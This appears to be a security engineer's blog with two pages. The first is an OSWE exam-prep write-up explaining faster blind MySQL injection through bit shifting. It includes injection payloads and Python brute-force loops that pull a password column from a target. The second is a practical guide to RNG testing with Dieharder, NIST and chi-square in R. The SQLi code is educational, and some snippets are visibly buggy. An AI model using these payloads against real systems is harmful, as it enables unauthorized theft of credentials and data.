My AWAE lab just ended today, while I'm having 3 days left to go for the OSWE exam. I've been living under stressful for almost 8 months before the course and during the course as well.

Just a word for OSWE is "amazing", I'd not say much about the course because many ppl out there already sharing about their thoughts in details. The thing I've learnt from AWAE course is MySQL, especially the blind one coz it's more advanced and much harder to extract the data compared to the classic SQLi.

I've been trying to find the fastest way to extract the data from the database in blind SQLi cases. I was wandering around exploit-db paper and finding out an interesting topic that I have not learned yet ["Faster Blind MySQL Injection Using Bit Shifting"](https://www.exploit-db.com/papers/17073). Read through the paper and I wanted to make a script for this to improve my brute-force mechanism.

Update: I passed the OSWE exam guyss :D&#x20;

## Implementation

### Traditional gun

The trivial way to get extract the data is using `substring`  or `substr` function. For example, we have a simple payload&#x20;

`test' or (ascii(substring((select password from admin),%d,1)))=[CHAR] or 1='`

If it's true, the `headers['Content-Length']` will be greater than 20 and otherwise.

Usually, what we do is to brute force every each character of the password in this case, and compare the value of ascii(password) to the ASCII decimal.&#x20;

Type: man ascii&#x20;

![The decimal set of ascii](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LejI2We-R9d3LmZiE0r%2F-MIXWKLswC30I6By5Fwn%2F-MIXalUwCkMTZJvkn1LQ%2FScreen%20Shot%202020-10-01%20at%2012.20.34.png?alt=media\&token=5bf0c9e1-1643-4421-9f88-c7e57c54f35c)

So the python code should be

```bash
for i in range(1, 8):
     	injection_string = "test' or (ascii(substring((select password from admin),%d,1)))=[CHAR] or 1='" % (inj,i)
     	for j in range(32, 126): #every possible character in the ASCII printable set
			target = "http://kubertu/index_public.php?q=%s" % (ip, inj_str.replace("[CHAR]", str(j)))
 			r = requests.get(target)
 			content_length = int(r.headers['Content-Length'])
 			if (content_length > 20):
 	    		return j
```

As we assume that, this password in this example is 8 characters long.

For this method, each element of J will run 8 times at maximum to check whether it's True. Thus, the range from 32 to 126 is 94, then we have 94 \* 8 is 725. It will take 725 times of loop at maxnimum to complete the check.

This takes too much time and might exhaust your machine. Moreover, just imagine if the password is set to 30 to 50 characters long, it would take hours to extract all the password characters.

What we are doing is to use the least possible amount of requests and do it as soon as possible we could use binary search but that will quickly take a lot of requests.&#x20;

First we split the ascii table in half and try if it's on 1 side or the other, that leaves us \~64 possible characters. Next we chop it in half again which will give us 32 possible characters. Then again we get 16 possible characters. After the next split we have 8 possible characters and from this point it's most of the times guessing or splitting it in half again.

### Bit Gun

Before the AWE exam, I found out an interesting paper ["Faster Blind MySQL Injection Using Bit Shifting"](https://www.exploit-db.com/papers/17073). It took me 20 mins to understand the concept and roughly 15 mins for me to write a python exploit code.

The Bit shifting method is freaking amazing and fast like a Ferrari engine.&#x20;

There are always 8 bits reserved for ASCII characters. An ASCII character can be converted to its decimal value as you have seen before:

```bash
mysql> select ascii('a');
+------------+
| ascii('a') |
+------------+
|         97 |
+------------+
1 row in set (0.00 sec)
```

This will give a nice int which can be used as binary.

`a = 01100001`

If we would left shift this character 7 locations to the right you would get:

`00000000`

The first 7 bits are being added by the shift, the last character remains which is 0.

```bash
mysql> select ascii('a') >> 7;
+-----------------+
| ascii('a') >> 7 |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)


a = 01100001

01100001 >> 7 == 00000000 == 0
01100001 >> 6 == 00000001 == 1
01100001 >> 5 == 00000011 == 3
01100001 >> 4 == 00000110 == 6
01100001 >> 3 == 00001100 == 12
01100001 >> 2 == 00011000 == 24
01100001 >> 1 == 00110000 == 48
01100001 >> 0 == 01100001 == 97
```

When we did the bitshift of 7 we had 2 possible outcomes - 0 or 1 and we can compare it to 0 and 1 and determine that way if it was 1 or 0.

```bash
mysql> select (ascii('a') >> 7)=0;
+---------------------+
| (ascii('a') >> 7)=0 |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.00 sec)
```

It tells us that it was true that if you would shift it 7 bits the outcome would be equal to 0. Once again, if we would right shift it 6 bits we have the possible outcome of 1 and 0.

```bash
mysql> select (ascii('a') >> 6)=0;
+---------------------+
| (ascii('a') >> 6)=0 |
+---------------------+
|                   0 |
+---------------------+
1 row in set (0.00 sec)
```

This time it's not true so we know the first 2 bits of our character is "01". If the next shift will result in "010" it would equal to 2; if it would be "011" the outcome would be 3.

```bash
mysql> select (ascii('a') >> 5)=2;
+---------------------+
| (ascii('a') >> 5)=2 |
+---------------------+
|                   0 |
+---------------------+
1 row in set (0.00 sec)
```

t is not true that it is 2 so now we can conclude it is "011". The next possible options are:&#x20;

0110 = 6&#x20;

0111 = 7

```bash
mysql> select (ascii('a') >> 4)=6;
+---------------------+
| (ascii('a') >> 4)=6 |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.00 sec)
```

We got "0110" now and looking at the table above here you can see this actually is true.

#### Shooting

Let's try this on a string we actually don't know, user() for example.

First we shall right shift with 7 bits, possible results are 1 and 0.

```bash
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 7)=0 |
+--------------------------------------+
|                                    1 |
+--------------------------------------+
1 row in set (0.00 sec)
```

We now know that the first bit is set to 0. 0??????? The next possible options are 0 and 1 again so we compare it with 0.

```bash
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 6)=0 |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.00 sec)
```

Now we know the second bit is set to 1. 01?????? Possible next options are:&#x20;

010 = 2&#x20;

011 = 3

```bash
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 5)=2 |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.00 sec)
```

Third bit is set to 1. 011?????

&#x20;Next options:&#x20;

0110 = 6&#x20;

0111 = 7

```bash
mysql> select (ascii((substr(user(),1,1))) >> 4)=6;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 4)=6 |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.00 sec)
```

Keep doing the process till it's equal to the last bit we will find out that the binary representation of the user name is **01110010**

```bash
mysql> select b'01110010';
+-------------+
| b'01110010' |
+-------------+
| r           |
+-------------+
```

#### My code

By using this bit shifting method, one character takes 7 requests at maximum to find the character.

```bash
for j in range(1,8):#if the username has 7 characters
		for i in reversed(range(8)):#one character has 8-bits
			
		 	injection_string = "test'/**/or/**/(ascii((substring((%s),%s,1)))>>%s)=%s/**/or/**/1='" % (inj,j,i,value)


		 	target = "http://%s/index_public.php?q=%s" %(ip,injection_string)

		 	r = requests.get(target,proxies=proxies)

		 	content_length = int(r.headers['Content-Length'])
		 	if (content_length > 20):	 	    
		 	    bit=bit+str("1")#if it returns true, bit will increase by 1
		 	    value=int(bit,2)#the value is decimal number from the updated bit		 	    
			else:
				  bit=bit[:-1]# if it returns false, bit will remove the latest value which is 1, and append 0, then append 1 for the next iteration
				  bit=bit+str("0")
				  bit=bit+str("1")
				  value=int(bit,2)
		
		
		username = int(bit[:8],2)
```

Full source code: <https://github.com/enderphan94/Blind-MySQL-Injection-Using-Bit-Shifting/blob/master/bit-shifting-sqli.py>

## Comparison

In conclusion, both methods are able to extract the content of the value of the column. But the speed of each method is vastly different.

If a password has 30 characters long, each method would take the following requests to extract all characters at maximum.

Traditional method: 94\*30= 2820 Requests

Bit-shifting method: 30\*7= 210 Requests&#x20;

The bit-shifting method is faster than the traditional one **13,5 times**. &#x20;


# RNG Testing


# RNG

## RNG-Testing

I've found it wacky when doing the RNG testing, with fewer documents, and less expertise.. thus, wanted to wrap something up for later uses.

## Intro

I've done for UK, Denmark, Sweden, Malta jurisdiction. Dieharder and NIST, Chi-squares tests are mostly wanted. I was struggling so badly when I first doing this, I'm a Security Engineer based so gotta do some math and try to understand the whole concept of the those tests, the p values and so on.

I urge you to read the documents carefully and precisely, otherwise, you might miss and do it wrong during the examination.

**Dieharder test suites**: <http://webhome.phy.duke.edu/\\~rgb/General/dieharder.php>

**NIST:** <https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-22r1a.pdf>

**Chi-square:** I'm using R-studio or matlab (<https://statsandr.com/blog/chi-square-test-of-independence-in-r/>) and (<https://www.mathworks.com/help/stats/chi2gof.html>)

## The Tests

In both the Dieharder and NIST test suites, the p-values are used to assess the randomness of the sequences. Generally, a p-value within the range of **0.01 to 0.99** is considered acceptable for a sequence to be considered random

### 1. Dieharder Test suite

Please read this first and try to install the Diehard tool into your machine: <http://webhome.phy.duke.edu/\\~rgb/General/dieharder.php>

**File Input** A formatted ASCII input file can accept either uints (integers in the range 0 to 2^31-1, one per line) or decimal uniform deviates with at least ten significant digits (that can be multiplied by UINT\_MAX = 2^32 to produce a uint without dropping precision), also one per line. Floats with fewer digits will almost certainly fail bitlevel tests, although they may pass some of the tests that act on uniform deviates

**Ubuntu:**

`sudo apt-get update -y`

`sudo apt-get install -y Dieharder`

**Mac OSX:** `brew install Dieharder` (isn't working anymore)

**Windows:** [Download](https://webhome.phy.duke.edu/~rgb/General/dieharder.php) the latest version and install it

**Implementation**

1. Compiling the RNG code to get the output file which should be presented as an ASCII format in this case. If the output file saved in the binary format, we can just switch the option during the execution to binary “-g 201” or convert the output file to ASCII format by using the python script. I personally usually use binary format for the testing.
2. Run command `Dieharder -a -g 202 -f output.txt`

* -a runs all the tests with standard/default options to create a user-controllable report
* -f filename - generators 201 or 202 permit either raw binary or formatted ASCII numbers to be read in from a file for testing
* -g generator number - selects a specific generator for testing

3. As it has been mentioned earlier, the Dieharder suite is more than just the Diehard tests cleaned up and given a pretty GPL'd source face in native C. Tests from the Statistical Test Suite (STS) developed by the National Institute for Standards and Technology (NIST) are being incorporated, as are new tests developed by rgb. Therefore, we would just need to pay attention to the Diehard test results are shown in the figure below

Note: Increase the file size to check whether it passes all the tests.

### 2. NIST Test

Some notes when doing NIST:

* Should consist of a minimum of 1,000,000 bits to conduct all the test,
* Some tests, like the Overlapping Template Matching Test, need longer bitstreams (e.g., 10,000,000 bits).
* More than 10 sequences should be defined, otherwise, value is undefined if less than 10 sequences are processed.
* The suite typically requires multiple bitstreams to perform statistical analysis effectively. A common recommendation is to use at least 55-100 bitstreams for reliable results.

**Bitstreams**

The term "bitstreams" in the context of the NIST test suite for RNGs often refers to the number of independent and identically distributed sequences that you want to test. The idea is to evaluate the randomness of not just a single sequence but multiple sequences to get a broader view of an RNG's performance. This is particularly useful when you want to understand the consistency of randomness across different sequences generated by the RNG. Here's how you might approach this:

* Single Bitstream: If you only have one sequence of, say, 9,000,000 bits that you want to test, then you'd indicate that you have "1 bitstream".
* Multiple Bitstreams: If you have, for instance, three sequences each of 3,000,000 bits (totalling the 9,000,000 bits you mentioned earlier), then you would indicate that you have "3 bitstreams".
* Divide a Large Sequence: You could also take a large sequence and divide it into smaller chunks to create multiple bitstreams. For instance, if you have 9,000,000 bits, you could treat it as 9 separate bitstreams of 1,000,000 bits each or 18 bitstreams of 500,000 bits each, and so on.

**Example**

For a binary raw file input, the optimal configuration would balance the number of bitstreams and their length. Based on common practice and the requirements of the NIST tests, the following configuration is suggested:

```
•	Length of Each Bitstream: 1,000,000 bits
•	Number of Bitstreams: 100
```

This configuration provides a good balance, ensuring that each test has enough data to perform statistically significant analysis.

**Installation** Ubuntu & MAC OSX: [Download](https://csrc.nist.gov/projects/random-bit-generation/documentation-and-software) the software and compile with make

**Implementation**

For the examples in this document, α has been chosen to be 0.01. Note that, in many cases, the parameters in the examples do not conform to the recommended values; the examples are for illustrative purposes only.

1. Compiling the RNG code to get the output file which should be presented as an ASCII format in this case. If the output file saved in the binary format, we can just switch the option during the execution to binary or convert the output file to ASCII format by using the python script as described in Appendix A.
2. In order to invoke the NIST statistical test suite, type assess, followed by the desired bit stream length, n. For example, assess 100000. A series of menu prompts will be displayed in order to select the data to be analyzed and the statistical tests to be applied. The first screen appears as follows:

<figure><img src="https://github.com/enderphan94/RNG-Testing/assets/15033155/2cae31a4-bef5-4637-a539-ed8f830dc29f" alt=""><figcaption></figcaption></figure>

Select \[0] to invoke the output file of the RNG which is located in data/data.pi Once the user has prescribed a particular data set or PRNG, the statistical tests to be applied must be selected. The following screen is displayed:

<figure><img src="https://github.com/enderphan94/RNG-Testing/assets/15033155/034fa5d9-042b-4a82-82c4-a608c38a9b78" alt=""><figcaption></figcaption></figure>

In this case, 1 has been selected to indicate interest in applying all the subset of the available statistical tests.

<figure><img src="https://github.com/enderphan94/RNG-Testing/assets/15033155/87948788-2960-4204-bedd-1cb756240de8" alt=""><figcaption></figcaption></figure>

Ten sequences will be parsed using the data.pi file. Since a file was selected as the data specification mode, a subsequent query is made regarding the data representation. The user must specify whether the file consists of bits stored in ASCII format or hexadecimal strings stored in binary format. Since the data consists of a long sequence of zeroes and ones, 0 was chosen. Given all necessary input parameters the test suite proceeds to analyze the sequences.

Once the testing process is complete, the empirical results can be found in the experiments/ subdirectory.

### 3. Chi-square Test

1. Install R via brew

`$brew install R`

2. [Install](https://www.rstudio.com/products/rstudio/download/) the latest version of RStudio

Syntax:

`chisq.test() is a function used to perform test.`

Syntax of a chi-square test:

`chisq.test(data)`

Following is the description of the chi-square test parameters: The input data is in the form of a table that contains the count value of the variables in the observation. We use chisq.test function to perform the chi-square test of independence in the native stats package in R. For this test, the function requires the contingency table to be in the form of a matrix. Depending on the form of the data, to begin with, this can need an extra step, either combining vectors into a matrix or cross-tabulating the counts among factors in a data frame. We use read.table and as.matrix to read a table as a matrix. While using this, be careful of extra spaces at the end of lines. Also, for extraneous characters on the table, as these can cause errors.

**Evaluation** The P-values is calculated and evaluated. We reject the null hypothesis if the p-value that comes out in the result is less than a predetermined significance level, which is 0.05 (the corresponding confidence level is 95%), then we reject the null hypothesis. • H0: The two variables are independent. • H1: The two variables relate to each other.

**Implementation**

1. Compiling the RNG code to produce an output file, which in this case should be in ASCII format (binary format is below) with each number separated by a new line to allow the program to read the data properly.
2. Import data and read data into a vector or list from the console or file.

`$ data <- scan("<directory>/<input-data-file>.txt")`

3. Test if the frequency of the drawn numbers is random. A barplot of the frequency of each number will help to get a better idea. `$ barplot(table(data))`

<figure><img src="https://github.com/enderphan94/RNG-Testing/assets/15033155/3e1efe50-f021-4310-be5f-c7901de3cf70" alt=""><figcaption></figcaption></figure>

Figure 1 Frequency of each number

4. Run the Chi-Square test:

`$ chisq.test(table(data))`

Chi-squared test for given probabilities

`data: table(data)`

`X-squared = 226.63, df = 255, p-value = 0.8991`

5. Evaluate the p-value

Th p-value is greater than 5% which means that we do not reject the null hypothesis which was that the distribution of the digit was independent.

**Dealing with binary file in R.**

if we’re dealing with raw unscaled random numbers direct from a generator, these are essentially raw entropy and aren't directly suited for a chi-squared test in the form they are in.

The chi-squared test is used to determine if there's a significant association between categorical variables by comparing observed counts to expected counts under the assumption of independence.

However, when working with raw random numbers (or random bits) from a generator, a chi-squared test can be applied in the context of a randomness test. This kind of test will let we determine if the output of our generator is behaving as expected (i.e., is it really random?).

To apply a chi-squared test in this context, we'll need to:

1. Load the .bin file.

`con <- readfile("boo.bin","rb")`

`data <- readBin(con, what = integer(), n = 1000000, endian = "little")`

`close(con)`

2. Bin the Numbers: Divide the range of possible values into a series of intervals or "bins". Each bin will then have an expected number of values if the generator is truly random. Ensure that the expected count in each bin is sufficiently large (e.g., >5) for the chi-squared test to be valid. For 9,000,000 draws, this would suggest around 3,000 bins (bin=9000000=3000)

`breaks <- seq(min(data), max(data), length.out = 3001) # This creates 3000 bins`

3. Count Observed Values: For each bin, count the number of values from your generator that fall into that bin.

`observed_counts <- hist(data, breaks = breaks, plot = FALSE)$counts`

4. Calculate Expected Values: If the generator is truly random, each bin should have roughly the same number of values (or a number proportional to its range if the bins are of different sizes).

`expected_probs <- rep(1/length(breaks), length(breaks) - 1)`

`expected_probs <- expected_probs / sum(expected_probs) # Ensure they sum up to 1`

5. Perform the Chi-Squared Test: Compare the observed counts to the expected counts using the chi-squared test.

`result <- chisq.test(observed_counts, p = expected_probs)`

`print(result)`

**Note:** We can read the first few numbers in R in various formats and see which one seems to produce reasonable values:

* Read as 32-bit integer (little-endian)

`int_values <- readBin("filename.bin", what = integer(), n = 25, endian = "little")`

`print(int_values)`

1. Read as 32-bit integer (big-endian)

`int_values_big <- readBin("filename.bin", what = integer(), n = 25, endian = "big")`

`print(int_values_big)`

* Read as 64-bit double (little-endian)

`double_values <- readBin("filename.bin", what = double(), n = 12, endian = "little")`

`print(double_values)`

* Read as 64-bit double (big-endian)

`double_values_big <- readBin("filename.bin", what = double(), n = 12, endian = "big")`

`print(double_values_big)`

## Swedish Testing Script

<https://github.com/enderphan94/RNG-Testing>

The following tests are implemented, the P-values are calculated and printed out:

* Chi-square
* Runs test
* Autocorrelation

`Rscript swedishTest.r <filename.bin> <numbers of raw>`

Expected results:

```
EnderM2:target enderphan$ Rscript swedishTest.R 600mdata.bin 600000000
Registered S3 method overwritten by 'quantmod':
  method            from
  as.zoo.data.frame zoo 
[1] "Ljung-Box Test Result:"

        Box-Ljung test

data:  ts_data
X-squared = 25.511, df = 20, p-value = 0.1826

[1] "Ljung-Box Test P-value: 0.182567008052608"
[1] "Chi-square Test Result:"

        Chi-squared test for given probabilities

data:  counts
X-squared = 2.1336e-07, df = 1, p-value = 0.9996

[1] "Chi-square Test P-value: 0.999631453146038"
[1] "Runs Test Result:"

        Runs Test

data:  as.factor(binary_sequence)
Standard Normal = 1.3778, p-value = 0.1683
alternative hypothesis: two.sided

[1] "Runs Test P-value: 0.168260062992897"
```

**Evaluation**

The output of the Chi-square test you’ve received indicates a very high p-value (0.9996). This suggests that there is no significant difference between the observed and expected frequencies of 0s and 1s, implying that the binary data could be considered random with respect to the expected distribution (equal numbers of 0s and 1s).

However, to determine the randomness of the data thoroughly, it’s best to look at the results of all three tests you’ve performed: the Ljung-Box test, the Chi-square test, and the Runs test. Each test assesses a different aspect of randomness:

1. Ljung-Box Test: This test checks for autocorrelation in the data. A high p-value (typically greater than 0.05) indicates that there is no significant autocorrelation, suggesting randomness.
2. Chi-square Test: This test checks if the observed frequencies of 0s and 1s match the expected frequencies (50% for each). A high p-value (typically greater than 0.05) indicates that the observed distribution does not significantly differ from the expected distribution, suggesting randomness.
3. Runs Test: This test checks for randomness in the sequence of data points by looking at the occurrence of runs (consecutive sequences of similar elements). A high p-value (typically greater than 0.05) indicates that the sequence of data points appears random.

Given the p-value you provided for the Chi-square test, let’s summarize how to interpret the results from all three tests:

* Ljung-Box Test Result: If the p-value is high, it suggests no significant autocorrelation.
* Chi-square Test Result: A high p-value suggests that the frequency of 0s and 1s does not significantly deviate from what is expected in a random sequence.
* Runs Test Result: A high p-value indicates that the sequence of 0s and 1s appears random without significant patterns.

If all three tests return high p-values (typically above 0.05), you can confidently say that the binary data in your .bin file appears to be random. Conversely, if any of the tests return low p-values, this might indicate some non-randomness in the data.


# About me

Github: <https://github.com/enderphan94>

Our products: <https://tools.kubertu.com/>

email: <enderlocphan@gmail.com>

<https://www.linkedin.com/in/enderphan/>


